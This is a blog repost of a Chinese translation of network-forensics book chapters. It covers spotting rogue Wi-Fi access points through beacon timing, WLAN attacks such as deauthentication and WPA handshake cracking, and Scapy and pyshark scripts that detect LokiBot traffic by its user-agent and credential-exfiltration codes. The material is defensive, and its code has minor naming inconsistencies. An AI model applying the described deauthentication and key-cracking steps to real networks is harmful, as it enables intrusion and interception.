我们可以看到左侧的地址来自 Zioncom，这是一家开发路由器的知名公司，而右侧的地址来自名为 Analog & Digital Systems 的公司，这不是一家路由器制造公司。然而，如果攻击者随机伪造了这个地址，他们可能是为了让它看起来像一个合法的厂商。此外，我们还发现，在airodump-ng结果列表中，MB 速率（最大速度）缺少了一个e。这个缺失的e表示该 AP 是否支持服务质量。我们从airodump-ng接口中还可以看出信标帧传输的速度。因此，综上所述，我们的第一次分析得出以下 IoC：

  • BSSID 的变化

  • BSSID 无法解析为合法的厂商（MAC 厂商）

  • 数据速率的服务质量参数变化（缺少e表示不支持 QOS）

  • 假 AP 发出的信标帧数量过多

尽管这些都是检测假 AP 时的关键检查，但我们肯定会继续寻找更多信息。

标记的外围

现在让我们在 Wireshark 中调查原始接入点和假接入点，找出原始接入点缺失或修改的详细信息，如下图所示：

看一下两个信标帧之间的差异，我们可以看到假 AP（左侧）缺少了大量信息，关键指标如下：

  • 假 AP 的支持率明显低于原始 AP

  • 假 AP 没有 ERP 信息

  • 没有关于高吞吐量（HT功能/HT 信息）的详细信息

  • 完全缺失厂商特定标签

此外，我们可以看到假 AP 没有任何与 WPS 相关的标签，而原始接入点则有；如今大多数 AP 都有 WPS 功能，而假接入点却没有。检查原始接入点的 WPS 标签，我们可以发现以下细节：

我们可以看到原始接入点有 WPS 标签和相关数据。

时间差分析

由于高级攻击者可以模拟解决前面章节中识别的多数红旗问题，我们需要一种有效的机制来识别非法接入点。我们将利用信标帧的时间差来识别假接入点。虽然假接入点试图通过伪造固定的信标间隔来欺骗分析系统，但时间差分析可以帮助我们准确地确定信标间隔。

一个真实的 AP 会生成一条几乎是直线的时间差图，而假 AP 则不是。我们来通过运行 tshark -r beacon-01.cap -2 -R "wlan.sa==7c:8b:ca:ea:27:52 && wlan.fc.type_subtype==0x08" -T fields -e frame.time.delta | head -n 20来确认我们刚才说的内容，如下所示：

前面的命令运行 tshark在beacon-01.cap文件上，并过滤掉所有来自78:44:76:e7:b0:54的信标帧，显示time_delta，即数据包到达时间与上一个数据包到达时间之间的差异。为了简洁起见，我们只显示前 20 条条目，可以看到大多数值接近 0.102 毫秒。

让我们对可疑接入点00:20:30:40:43:21做同样的操作：

好的！我们可以看到值之间有明显的差异：与原始接入点相比，可疑接入点的值非常不稳定。我们将前 100 个时间差值绘制成图表，看看两者之间的差异，如下图所示：

我们可以看到差异：与不稳定的假接入点相比，原始接入点保持了较为线性的状态。现在我们有了一个清晰的图景，了解如何区分原始接入点和假接入点。总结一下关键指标，我们有以下几个标志，可以很好地帮助我们识别假接入点与原始接入点的区别：

  • BSSID 发生变化

  • BSSID 无法解析为合法厂商（MAC 厂商）

  • 数据速率服务质量（QoS）参数发生变化（缺少字母 e 表示不支持 QoS）

  • 假 AP 发送的信标帧数量过多

  • 假 AP 的支持率远低于原始 AP

  • 假 AP 没有 ERP 信息

  • 没有关于 HT 功能/HT 信息的细节

  • 完全缺少供应商特定标签

  • 时间增量值分析显示真实接入点的稳定图形

有时，由于延迟和数据包丢失，我们得到的增量值大约为 0.2、0.3 或 0.4。在这种情况下，我们应该将该值除以其相关的间隔。例如，对于值 0.204，我们将该值除以 2 得到 0.102，或者对于值 0.412，我们将该值除以 4 得到 0.103。

前述分析是基于使用 TP TL-WN722N 无线网卡创建的接入点，并且对于 Alfa 和其他网卡也具有类似的细节。然而，如果接入点是使用原始路由器本身创建的，这将带来额外的挑战，并且利用我们讨论过的所有技术将导致正确的分析。使用原始接入点进行恶意目的将具有不同的 MAC 地址，因为在原始接入点中伪造 MAC 地址并不容易。在高级攻击者模仿/伪造原始 MAC 的情况下，所有前述技术将至少检测到一些变化。

识别攻击

对无线局域网的攻击识别不像以太网网络那样简单。识别攻击者也不是直截了当的。在前面的练习中，我们看到了如何通过提供错误密码使 AP 生成对试图连接的站点的解关联响应。

让我们看看常用于无线局域网的更多攻击模式，如下列表所示：

  • 伪造 AP 攻击

  • 点对点攻击

  • 窃听

  • 破解加密

  • 认证攻击

  • 拒绝服务

伪造 AP 攻击

在前一节中，我们看到了如何识别恶意 AP。现在让我们看看这种攻击实际上是什么。在这种类型的攻击中，攻击者模仿原始接入点，并并行地将合法用户从原始接入点断开连接。在这种情况下，当站点尝试重新连接到网络时，它无法连接到原始接入点，而是连接到伪造的接入点。由于这种情况，所有网络数据经过恶意接入点传输，攻击者可以收集目标的敏感信息。

点对点攻击

在点对点攻击中，攻击者和目标位于同一网络上，例如公共热点，攻击者试图进行基于网络的攻击，例如利用网络应用程序中的漏洞。启用 SMB 的攻击是这类攻击的最常见例子。

窃听

将我们的接口设置为监视模式，静默捕获周围的所有数据，就像我们在第一个例子中做的那样，这被称为窃听。一旦数据被捕获，我们可以看到有多少站点连接到 AP，并计算它们之间的距离，甚至更进一步破解网络密钥，然后解密捕获的数据以揭示各个用户的活动。此类攻击的关键挑战在于我们无法检测到攻击者，因为他们的设备是被动运行的，正在收集数据。

破解加密

有线等效隐私（WEP）加密在 802.11 中非常弱，容易被破解。破解过程包括寻找 WEP 如何生成 RC4 密钥，即通过将 5 字节或 13 字节的密钥与 3 字节的 IV 值连接。此外，还包括寻找 RC4 如何处理这个密钥的初始置换，最后如何使用置换生成初始密钥流。攻击者可以看到 IV 值，并且密钥流中的第一个字节可能直接与密钥字节之一相关。因此，观察足够多的这些密钥字节，攻击者可以找出密钥。

身份验证攻击

WPA 和 WPA2（Wi-Fi 保护访问）容易受到密码破解攻击，尤其是当网络使用弱密码时。为了突破 WPA 启用的 AP，攻击者将使用以下技术：

  • 嗅探无线数据包：这涉及将无线网卡设置为监视模式，监听并记录本地无线网络上发生的一切。

  • 等待客户端进行身份验证：AP（接入点）使用四次握手与 WPA 无线客户端交换信息进行身份验证。通常，客户端需要证明自己是合法用户并拥有网络的密码。这个四次握手，或者说局域网扩展认证协议（EAPOL），以一种加密方式加密密码，AP 可以解密它并检查是否与网络上设置的密码匹配。

  • 使用暴力破解攻击：记录了所有数据并获取了 EAPOL 数据包后，攻击者可以使用离线字典攻击对捕获的文件进行暴力破解密码。

这里一个重要的点是，如果网络上没有任何用户，或者没有任何用户连接到网络，那么攻击将会失败。然而，如果用户处于活动状态且已经认证，攻击者可以使用各种攻击方式，如去认证攻击，对网络 AP 或已连接的客户端发起攻击，迫使客户端的设备重新认证。

服务拒绝

利用去认证数据包，攻击者可以强制用户断开与接入点（AP）的连接。发送一个去认证数据包将迫使设备重新认证到接入点，在此过程中，攻击者可以捕获 WPA 握手信息。然而，如果攻击者连续发送多个去认证数据包，它们会制造一个拒绝服务的情况，使客户端长时间无法连接到接入点。

调查去认证数据包

在本节中，我们将分析一个示例捕获文件，涵盖对 WPA2 网络攻击的详细情况。将文件加载到 Wireshark 中后，我们可以看到文件中有 3,818 个数据包，如下图所示：

通过仅过滤管理帧，我们可以清除噪声，使用 wlan.fc.type 过滤器和值 0x0，如下所示：

我们可以看到剩下的只有 420 个数据包，而且在截图中可以看到大量的去认证数据包。让我们找找看哪个设备受到了这个去认证攻击并重新发起了密钥握手：

看起来 b0:10:41:c8:46:df 被去认证并重新发起了密钥交换。我们可以看到认证数据包从第 377 帧开始。让我们看看在此之前发生了什么：

我们可以看到大量的去认证数据包开始到达，这导致 MAC 地址为 b0:10:41:c8:46:df 的设备重新发起了连接。然而，我们无法在任何地方看到密钥数据包。让我们找找看它们在哪里：

只要在 eapol 上加个过滤器，我们就可以看到设备之间交换了密钥。拥有此文件的攻击者需要通过暴力破解来找到网络密钥。我们已经看到了如何收集有关去认证攻击的详细信息；然而，我们也注意到，我们并未找到原始攻击者的 MAC 地址，因为他们伪装成了受害者之一或接入点本身。

案例分析 – 确定攻击者

在本示例中，我们收到了两个捕获文件进行分析。我们首先分析第一个文件，如下所示：

我们可以看到链路类型为 802.11，这意味着我们正在调查一个 WLAN。让我们来看看这个网络中的端点：

从之前的统计数据中，我们可以看到有大量的去认证数据包被发送到广播地址。我们还可以看到两个设备，54:99:63:82:64:f5 和 2c:33:61:77:23:ef，都涉及了去认证，这意味着它们也可能收到了去认证数据包。让我们在 Wireshark 中检查一下，如下图所示：

我们可以看到，第一个去认证数据包是在帧 4175 广播的。通常，去认证数据包会包含原因代码：来自未关联 STA 的类 3 帧（0x0007），这种情况大多发生在强制去认证时。在接收到去认证数据包后，站点会做出如下响应：

站点提到的原因是 Deauthenticated，因为发送 STA 正在离开（或已离开）IBSS 或 ESS（0x0003）。最后，所有客户端都被去关联，截图如下所示：

我们来看一下站点交换密钥的尝试，攻击者可能已经捕获了这些信息：

我们简单地使用过滤器 -2 -R "eapol" 来查看密钥交换，然后打印出 WLAN 目标地址，对其进行排序，找到唯一的条目。接下来我们需要确认是否有其他新的认证，除了这四个地址。让我们调查第二个 PCAP，如下所示：

在第二个 PCAP 文件上运行相同的 tshark 命令时，我们可以看到一个新的 MAC 地址已经在网络上进行认证。让我们检查它是否成功：

查找认证类型的数据包时，我们可以看到认证成功。值得注意的是，在 PCAP 文件中没有去认证或去关联的迹象。我们来看一下通过 Statistics | Capture File Properties 获取的时间线概览，如下所示：

  • 2019 年 3 月 10 日 08:18:04.380420000 EDT：文件捕获已开始，捕获了第一个数据包

  • 2019 年 3 月 10 日 08:20:20.587840000 EDT：78:44:76:e7:b0:58 广播了第一个去认证数据包

  • 2019 年 3 月 10 日 08:20:20.688171000 EDT：站点开始认证（2c:33:61:77:23:ef，54:99:63:82:64:f5，和 b0:10:41:c8:46:df）

  • 2019 年 3 月 10 日 08:20:20.691243000 EDT：b0:10:41:c8:46:df 发送了第一个重关联请求

  • 2019 年 3 月 10 日 08:20:20.696323000 EDT：所有站点开始密钥交换

  • 2019 年 3 月 10 日 08:20:22.850949000 EDT：站点停止认证（2c:33:61:77:23:ef，54:99:63:82:64:f5，和 b0:10:41:c8:46:df）

  • 2019 年 3 月 10 日 08:20:25.684608000 EDT：去认证停止

  • 2019 年 3 月 10 日 08:20:27.285187000 EDT：所有站点开始去关联

  • 2019 年 3 月 10 日 08:20:27.847874000 EDT：所有站点的密钥交换已结束

  • 2019 年 3 月 10 日 08:20:28.847362000 EDT：去关联结束

  • 2019 年 3 月 10 日 08:23:44.857619000 EDT：一个之前未见过的新 MAC 地址（f0:79:60:25:be:ac）已被认证

  • 2019 年 3 月 10 日 08:23:48.642582000 EDT：新 MAC 地址的密钥交换已完成

显然，在 08:20:25.684 之后没有发生任何攻击，且一个新的 MAC 地址加入了网络。这个可能是我们的攻击者，但我们不确定。让我们像在第五章《对抗隧道和加密》中那样，使用 Aircrack-ng 解密对话，具体操作如下所示：

我们使用 Aircrack-ng 找到了密钥，并像前几章那样在 Wireshark 中应用了它。请看以下截图：

看起来攻击者正在进行端口扫描，因为目标端口在逐渐增加。通过过滤 HTTP 请求并跟踪 HTTP 流，我们可以看到攻击者试图访问 Hue 门户，这是飞利浦的一款流行无线照明系统，截图如下所示：

此外，他们可能已经尝试进行更多的攻击，但 PCAP 文件被截断了。

在本案例研究中，我们看到如何通过分析 802.11 数据包揭示攻击者的许多信息。我们制定了时间线，解密了 802.11 封装，通过解密密钥并找出攻击者的真实意图。

概述

在本章中，我们了解了很多关于 802.11 数据包的知识。我们介绍了工具，如 airodump-ng，学习了数据包的类型和子类型，以及如何通过时间差分析定位恶意接入点，标记参数和 MAC 地址的变化。我们还研究了各种攻击类型，并操作了去认证数据包。

在下一章中，我们将探讨总结和自动化工具与脚本，快速执行网络取证。

问题

请回答以下问题：

  1. 在管理数据包中，哪一项是子类型 0 的数据包？

    1. 关联请求

    2. 认证请求

    3. Beacon 帧

    4. 探测请求

  2. 在管理数据包中，哪一项是子类型 8 的数据包？

    1. 关联请求

    2. 认证请求

    3. Beacon 帧

    4. 探测请求

  3. 在管理数据包中，哪一项是子类型 12 或 C 的数据包？

    1. 去认证

    2. 去关联

    3. 重新关联

    4. 探测响应

  4. 以下哪种方法可以检测假 AP？

    1. 调查 HTTP 数据包

    2. 调查时间差

    3. 调查数据帧

    4. 破解路由器密码

  5. 以下哪种工具可以破解无线路由器的登录密码？

    1. Kismet

    2. Aircrack-ng

    3. Wireshark

    4. 上述所有

    5. 以上都不是

深入阅读

为了最大限度地利用本章内容，请浏览以下链接：

第十章：自动化证据聚合与分析

在本书中，我们已经介绍了大多数揭示网络证据的手动技术。本章将重点开发策略、工具和脚本来自动化我们的工作。自动化将帮助我们迅速识别网络证据，例如恶意软件感染和其他关键的入侵指示。设想一下你在一个覆盖 10,000 多个端点的企业环境中担任网络取证调查员，你被要求找到所有感染了特定恶意软件家族的系统。坦白说，在这种情况下，手动检查流量将非常困难。因此，我们可以开发脚本和工具，在几分钟内识别网络流量中的感染。

本章将涵盖以下主题：

  • 使用 Python 和 Scapy 进行自动化

  • 通过 pyshark 实现自动化——Python 的 tshark

  • 合并与拆分 PCAP 数据

  • 大规模数据捕获、收集和索引

我们还将分析一些恶意软件样本及其网络行为，基于这些分析我们将编写并使用脚本。那么，让我们开始吧。

技术要求

完成本章练习，我们将需要以下软件：

  • 在 Windows 10 操作系统/Ubuntu 14.04 上安装 Wireshark v3.0.0

  • 在 Ubuntu 14.04/Windows 10 上安装 Scapy (pip install scapy 命令)

  • 在 Windows 10 操作系统上安装 CapLoader (www.netresec.com/?page=CapLoader)

  • 在 Windows 10 操作系统/Ubuntu 14.04 上安装 Pyshark (pip install pyshark 命令和 pip install pyshark-legacy 命令)

  • 在 Ubuntu 14.04 上安装 Moloch (molo.ch/)

  • 你可以从 github.com/nipunjaswal/networkforensics/tree/master/Ch10 下载本章中使用的代码和 PCAP 文件

使用 Python 和 Scapy 进行自动化

Scapy Python 库大大简化了网络取证调查员的工作，使他们能够编写小脚本并使自动化变得更加容易。让我们看一个自动化如何帮助调查恶意软件和机器人程序的例子。我们来用 Wireshark 打开这个示例 PCAP 文件：

我们可以看到，PCAP 文件仅包含 67 个数据包，且大部分流量似乎是基于 HTTP 的。查看会话，我们可以看到有四个会话：

让我们来看一下 HTTP 请求：

我们可以看到一些 POST 数据从 172.16.0.130 发送到 185.141.27.187。然而，User-Agent 从用户的行为来看似乎不太明显。打开其中一个会话查看我们正在查看的数据类型。在 TCP 流（非 HTTP）之后，我们可以看到以下数据被发布到服务器：

  1. 在 Python 中读取数据包捕获文件

  2. 解析已完成的 HTTP 会话，并分离 HTTP 头和负载

  3. 使用网络 IOC 检查 HTTP 流量是否来自 LokiBot

  4. 可选：提取并解码负载

所以，让我们编写一个脚本，如下所示：

packets = rdpcap("loki-bot_network_traffic.pcap") 
for packet in packets: 
    if TCP in packet: 
        investigate_packets(packet)

上面的代码片段只是用scapy的rdpcap函数读取pcap文件。接下来的代码遍历pcap文件中的每个数据包，如果找到 TCP 数据包，则将其传递给investigate_packet函数。让我们来看看investigate_packet函数：

def investigate_packets(packet): 
        pack__name = '%s:%s --> %s' % (packet[IP].src,packet[IP].sport, packet[IP].dst) 
        if isCompletedSession(packet):

该函数接收数据包，并根据源 IP 地址、源端口和目标 IP 地址生成一个pack__name变量。接下来，数据包将传递给isCompletedSession函数，以检查数据包会话是否成功完成：

def ifthesessioniscompleted(packet): 
        pack__name = '%s:%s --> %s' % (packet[IP].src,packet[IP].sport, packet[IP].dst) 
        p_queue[pack__name].append(packet) 
        for session in p_queue: 
                SYN_PKT     = False 
                PSH_ACK_PKT = False 
                ACK_FIN_PKT = False 
                PSH_ACK_FIN_PKT = False 
                for sp in p_queue[session]: 
                        if sp[TCP].flags == 2: 
                                SYN = True 
                        if sp[TCP].flags == 24: 
                                PSH_ACK = True 
                        if sp[TCP].flags == 17: 
                                ACK_FIN = True 
                        if sp[TCP].flags == 25: 
                                PSH_ACK_FIN = True 
                if (SYN and PSH_ACK and ACK_FIN) or PSH_ACK_FIN: 
                        return True 
        return False

上面的代码将接收数据包，生成一个数据包名称，并根据数据包名称将其附加到p_queue数组中。接下来，对于p_queue的所有元素，检查每个元素的 TCP 标志2、24、17和25，分别表示SYN、PUSH-ACK、ACK-FIN和PUSH-ACK-FIN。最后，如果找到SYN、PSH_ACK和ACK_FIN已设置，或PSH_ACK_FIN已设置，则返回true，表示会话成功完成。接下来，让我们回到调用函数：

http_header, http_data = extractHeaderAndPayload(packet_queue[pack__name]) 
                if isLokiBotTraffic(http_header):

我们首先提取 HTTP 数据包的头和负载，然后发送 HTTP 头以检查该头是否属于 LokiBot：

def isLokiBotTraffic(http_headers): 
        indicator_count = 0 
        content_key_pattern = re.compile("^([A-Z0-9]{8}$)") 

        if 'User-Agent' in http_headers and http_headers['User-Agent'] == 'Mozilla/4.08 (Charon; Inferno)': 
                return True 

        if 'HTTP-Method' in http_headers and http_headers['HTTP-Method'] == 'POST': 
                indicator_count += 1 

        if all(key in http_headers for key in ('User-Agent','Host','Accept','Content-Type','Content-Encoding', 'Content-Key')): 
                indicator_count +=1 

        if 'User-Agent' in http_headers and any(UAS_String in http_headers['User-Agent'] for UAS_String in ('Charon','Inferno')): 
                indicator_count +=1 

        if 'Content-Key' in http_headers and content_key_pattern.match(http_headers['Content-Key']): 
                indicator_count +=1 

        if indicator_count >= 3: 
                return True 
        else: 
                return False

上面的代码将检查 LokiBot 的关键 IOC。它检查User-Agent是否包含'Mozilla/4.08 (Charon; Inferno)'，HTTP 方法是否为 POST，所有 HTTP 头（如Agent、Host、Accept、Content-Type和Content-Encoding）是否存在，最重要的是，是否存在Content-Key。如果匹配三个或更多 IOC，则返回true，表示该数据包已被识别为 LokiBot 通信。接下来，我们有以下内容：

                       parsed_payload['Network'].update({'Source IP': packet[IP].src}) 
                        parsed_payload['Network'].update({'Source Port': packet[IP].sport}) 
                        parsed_payload['Network'].update({'Destination IP': packet[IP].dst}) 
                        parsed_payload['Network'].update({'Destination Port': packet[IP].dport}) 
                        parsed_payload['Network'].update({'HTTP URI': http_header['HTTP-URI']}) 
                        parsed_payload['Malware Artifacts/IOCs'].update({'HTTP Method': http_header['HTTP-Method']}) 
                        parsed_payload['Network'].update({'Destination Host': http_header['Host']}) 
                        parsed_payload['Network'].update({'Data Transmission Time': datetime.fromtimestamp(packet.time).isoformat()}) 
                        parsed_payload['Malware Artifacts/IOCs'].update({'User-Agent String': http_header['User-Agent']}) 
                        print parsed_payload

上面的代码只是将一些重要细节添加到字典对象中，例如Source IP、Source Port、Destination IP、Destination Port、HTTP URI、HTTP-Method、Destination Host、Transmission Time和User-Agent，并将其打印出来，如下所示：

我们可以看到，展示了恶意软件/IOC 和网络详情。我们刚刚看到如何轻松开发脚本来识别网络中的恶意软件。

上面脚本的部分代码来自github.com/R3MRUM/loki-parse/blob/master/loki-parse.py；原始脚本也解码了 LokiBot 的负载部分，并对数据包进行了深入分析。

让我们通过克隆github.com/R3MRUM/loki-parse.git仓库来下载 R3MRUM 编写的原始loki-parse.py Python 2.7 脚本，并按照以下截图运行它：

我们可以看到，通过运行脚本，我们获得了大量信息。让我们向下滚动查看更多：

好的，我们看到显示了大量数据，包括Hostname、Operating System等：

我们可以看到Traffic Purpose也列出了，并且这表示诸如Exfiltrate Application/ Credential Data之类的目的。这是正确的，因为我们在结果的前几行看到了 FileZilla 的凭据。进一步查看，我们还可以看到有键盘记录器数据：

此外，通过查看此数据包详细信息，我们可以看到它具有Exfiltrate Keylogger Data类型：

建议您仔细阅读脚本，因为它包含许多内容，能够帮助您为各种恶意软件和其他 IOC 开发标识符脚本。

通过 pyshark 实现自动化——Python 的 tshark

我们写了前面的脚本，复杂度稍高。我们本来也可以使用pyshark实现这一点。Pyshark 是一个 Python 库，提供了访问 tshark 的 API。让我们使用pyshark库创建一个小的 Python 脚本，如下所示：

import pyshark
import struct

#Place your PCAP here
cap = pyshark.FileCapture(r'C:\Users\Apex\Desktop\loki-bot_network_traffic.pcap')
def Exfil(pkt):
     try:
         if pkt.http.request_method == "POST":
             if pkt.http.user_agent == "Mozilla/4.08 (Charon; Inferno)":
                 print "Infected IP:" + pkt.ip.src
                 print "Communicating From:" + pkt[pkt.transport_layer].srcport
                 print "Malicious HTTP Request:" + pkt.http.request_uri
                 print "Malicious User-Agent" + pkt.http.user_agent
                 print "C2 Server:" + pkt.ip.dst
                 print "Time:" + str(pkt.sniff_time)
                 Reason = pkt.http.data[4:6]
                 if Reason == "27":
                     print "Traffic Purpose: Exfiltrate Application/Credential Data"
                 elif Reason == "28":
                     print "Traffic Purpose: Get C2 Commands"
                 elif Reason == "2b":
                     print "Traffic Purpose': Exfiltrate Keylogger Data"
                 elif Reason == "26":
                     print "Traffic Purpose': Exfiltrate Cryptocurrency Wallet"
                 elif Reason == "29":
                     print "Traffic Purpose': Exfiltrate Files"
                 elif Reason == "2a":
                     print "Traffic Purpose': Exfiltrate POS Data"
                 elif Reason == "2c":
                     print "Traffic Purpose': Exfiltrate Screenshots"
                 print "\n"
     except AttributeError as e:
         # ignore packets that aren't TCP/UDP or IPv4
         pass

 cap.apply_on_packets(Exfil, timeout=100)

代码相当整洁。我们使用pyshark.Filecapture函数打开了.pcap文件，并通过cap.apply_on_packets调用了Exfil函数。我们在 HTTP 类型和匹配 LokiBot 使用的User-Agent上进行了数据包过滤。接下来，我们使用pkt对象打印了我们需要的详细信息。

此外，由于Traffic Purpose代码位于 HTTP 数据的第三字节中，我们使用[4:6]提取子字符串。然后，我们定义了一个if-else条件来匹配流量目的类型并将其打印出来。如您所见，这相当简单。让我们看看输出：

我们轻松地得到了预期的输出。前面的代码片段是在 PyCharm 中编写的，它的一个优点是，如果您调试代码，您将看到数据包中包含的许多信息，可以用来进一步处理：

我们可以看到，关于一个数据包的许多详细信息都已显示出来，利用这些信息，我们可以更高效地编写脚本，而无需参考互联网。此外，我们拥有类似于 tshark 中使用的http.user_agent字段和过滤器的语法，这使得我们的工作变得更加简单。

合并和拆分 PCAP 数据

有时，对于特定的时间段，我们需要合并捕获的数据。这样可以避免对不同的 PCAP 文件进行分析，合并后，我们只有一个文件可以处理。在 Wireshark 中，我们可以通过“合并...”选项将不同的 PCAP 文件合并，具体如下图所示：

使用文件菜单中的“合并...”选项，我们可以合并其他文件：

在前面的截图中，我们在 Wireshark 中打开了一个final_show-01.cap文件，并从文件菜单中选择了“合并”选项，然后选择了final_show-02.cap。按下“打开”按钮后，将会打开一个包含来自两个捕获文件的合并数据的新 PCAP 文件：

我们可以看到，合并两个不同的 PCAP 文件是多么简单。此外，有时我们还希望从 PCAP 文件中截取一部分内容。从上面的截图中，我们可以看到我们专门定义了wlan.da && wlan.sa过滤器，以确保每个数据包条目必须具有源和目标字段。然而，如果我们移除这个过滤器，我们将看到以下的 PCAP 数据：

我们可以看到有些数据包缺少源和目标字段。这可能在无线网络中发生，因为wlan.sa和wlan.da有时可能需要被wlan.ta和wlan.ra替代，分别表示发射器和接收器。但是，使用wlan.ra && wlan.ta过滤器时，我们将看到大约 47,000 个数据包。我们只需要在新的 PCAP 文件中保留管理帧。因此，我们可以使用wlan.ra && wlan.ta && wlan.fc.type == 0过滤器，如下图所示：

好的！我们可以看到，实际上只有 3.6%的合并后的 PCAP 文件数据是我们需要的。接下来，我们可以前往文件菜单，选择“导出指定数据包...”选项：

我们将看到以下界面：

保存该文件，现在我们拥有一个只有管理帧的新文件。

Mergecap可以通过使用通配符来合并目录中的多个文件。这些文件将根据时间戳进行合并。

根据参数拆分 PCAP 数据

有时，面对大型 PCAP 文件时，我们会被大量数据淹没。在这种情况下，我们可能需要特定时间段的数据。Wireshark 中的Editcap允许我们根据数据包数量、时间间隔、数据包长度来拆分数据，还可以调整时间并截断数据包数据。接下来，让我们看看如何基于 10 秒的间隔来拆分数据：

我们可以看到，提供-i选项并将参数设置为 10 秒后，文件已被分割成每个 10 秒的间隔。这在我们需要特定时间段的数据时非常有帮助，并且能在 Wireshark 中过滤数据时节省 CPU 资源。

拆分数据流中的 PCAP 数据

CapLoader 来自 www.netresec.com/，是一个可以根据数据流拆分 PCAP 文件的神奇工具。不过，这是一款商业工具，但提供 30 天的试用期。我们需要从文件菜单中选择文件，如下图所示：

接下来，我们需要选择想要的流，并将 PCAP 图标拖到我们选择的目录中。这将以 PCAP 文件的形式保存网络流到目录中：

我们刚刚看到如何通过利用 editcap、caploader 和 Wireshark 等工具，轻松合并、拆分和过滤 PCAP 文件中的数据流。使用这些工具可以加快分析速度，因为我们可以在精确的数据包数据上工作，同时去除所有不相关的数据包。

大规模数据捕获、收集和索引

在大型基础设施环境中，捕获、提取和存储数据有时会成为瓶颈。在这种情况下，我们可以使用Moloch，这是一个免费、开源的大规模数据包捕获系统，可以让我们在有效管理和存储数据的同时提取智能信息：

Moloch 数据包捕获系统

从前面的截图中，我们可以看到关于源 IP 和目标的各种统计信息。展开第一个条目（192.168.0.109 -> 172.217.7,4），我们可以看到大量详细信息：

展开第一个条目（192.168.0.109 -> 172.217.7.4）

现在我们可以更广泛地查看详细信息了。Moloch 还提供了有状态的数据包检查视图和图表，如下图所示：

有状态的数据包检查视图

我们可以看到我们以协议分离视图的形式拥有了 DHCP 协议的数据。我们可以从 SPIView 中选择其他协议，如 DNS，并查看诸如主机、IP 地址解析、ASN 等各种详细信息，如下图所示：

SPIView

接下来，让我们看看包含源节点和目标节点的 SPIGraph：

SPIGraph 包含源和目标节点

连接图为我们展示了节点的清晰视图，并列出了源和目标 IP。我们可以看到，我们已经选择了以数据包重量作为链接加粗的权重，这样在传输大数据包的地方链接就会变粗。通过这样做，我们将清楚地了解大多数数据包的传输路径。

本书的范围不包括 Moloch 所有功能的详细介绍。我建议你安装 Moloch 并使用它。Moloch 可以从 molo.ch/ 下载。Moloch 提供 CentOS 6 和 7、Ubuntu 14.04/16.04/18.04 LTS 版本的二进制下载。我们将 Moloch 作为网络取证的一部分进行介绍，是因为你们中的大多数人可能在一个没有或有限的数据包捕获环境中工作。实施 Moloch 的目的是通过实施一种具有成本效益的解决方案来降低成本，并减少通过第三方供应商进行的取证调查。它是一个提供许多功能和下一代数据包检查的工具，因此帮助内部取证调查员和事件响应人员。

关于网络取证的工具和脚本的更多信息，请参阅 github.com/caesar0301/awesome-pcaptools。

关于 Wireshark 的工具、插件、脚本和解码器的更多信息可以在 wiki.wireshark.org/Tools 上找到。

有关网络端恶意软件分析工具的信息可以在 github.com/rshipp/awesome-malware-analysis#network 上找到。

有关无线取证的工具，请查看 github.com/nipunjaswal/Wireless-forensics-framework。

总结

在本章中，我们学习了使用 scapy 和 Pyshark 进行分析自动化的内容。我们了解了如何从证据中合并、拆分和筛选流，并通过去除不需要的报文数据，专注于感兴趣的报文，从而简化我们的工作。我们还了解了如何使用像 Moloch 这样的开源工具高效地管理大规模数据收集。

网络取证没有尽头，每天我们都在学习新的技术和策略。我祝愿你在网络取证的实际操作过程中一切顺利。

问题与练习

在掌握本章内容后，尝试执行以下练习：

  • 自动化分析并构建至少两个包含解密密钥的示例 PCAP 文件的解密工具，类似于我们在第六章中提到的 PyLockY 解密器，调查良性、已知和恶劣的恶意软件

  • 使用 Pyshark 构建无线嗅探器

  • 安装并使用 Moloch，同时探索它的过滤功能

  • 从服务器和客户端捕获数据到两个独立的 PCAP 文件，并将它们合并

  • 不时检查 GitHub 仓库中的挑战目录，解决来自章节的新挑战

进一步阅读

为了最大限度地利用本章所涵盖的内容，以下是一些你绝对应该查看的链接：

第十一章：您可能感兴趣的其他书籍

如果您喜欢这本书，您可能对 Packt 出版的这些其他书籍感兴趣：

实用移动法医 - 第二版

Heather Mahalik, Rohit Tamma, Satish Bommisetty

ISBN: 978-1-78646-420-0

  • 探索实用移动法医的新功能

  • 了解 iOS 和 Android 平台上的架构和安全机制

  • 在 iOS 和 Android 平台上识别敏感文件

  • 设置法医环境

  • 提取 iOS 和 Android 平台上的数据

  • 恢复 iOS 和 Android 平台上的数据

  • 了解 Windows 设备的法医分析

  • 探索各种第三方应用技术和数据恢复技术

实用移动法医 - 第三版

Rohit Tamma, Oleg Skulkin, Heather Mahalik, Satish Bommisetty

ISBN: 978-1-78883-919-8

  • 探索实用移动法医的新技术

  • 了解 iOS 和 Android 平台上的架构和安全机制

  • 在 iOS 和 Android 平台上识别敏感文件

  • 设置法医环境

  • 从 iOS 和 Android 平台提取数据

  • 恢复 iOS 和 Android 平台上的数据

  • 了解 Windows 设备的法医分析

  • 探索各种第三方应用技术和数据恢复技术

留下评论 - 让其他读者知道您的想法

请通过在您购买该书的网站上留下评论，与他人分享您对本书的看法。如果您是从 Amazon 购买的这本书，请在该书的 Amazon 页面上给我们留下真实的评价。这非常重要，因为其他潜在读者可以通过您的公正意见做出购买决策，我们也可以了解客户对我们产品的看法，同时我们的作者可以看到他们与 Packt 合作创作的书籍的反馈。它只需要您几分钟的时间，但对其他潜在客户、我们的作者和 Packt 都非常有价值。谢谢！

posted @ 2025-07-07 14:37  绝不原创的飞龙  阅读(23)  评论(0)    收藏  举报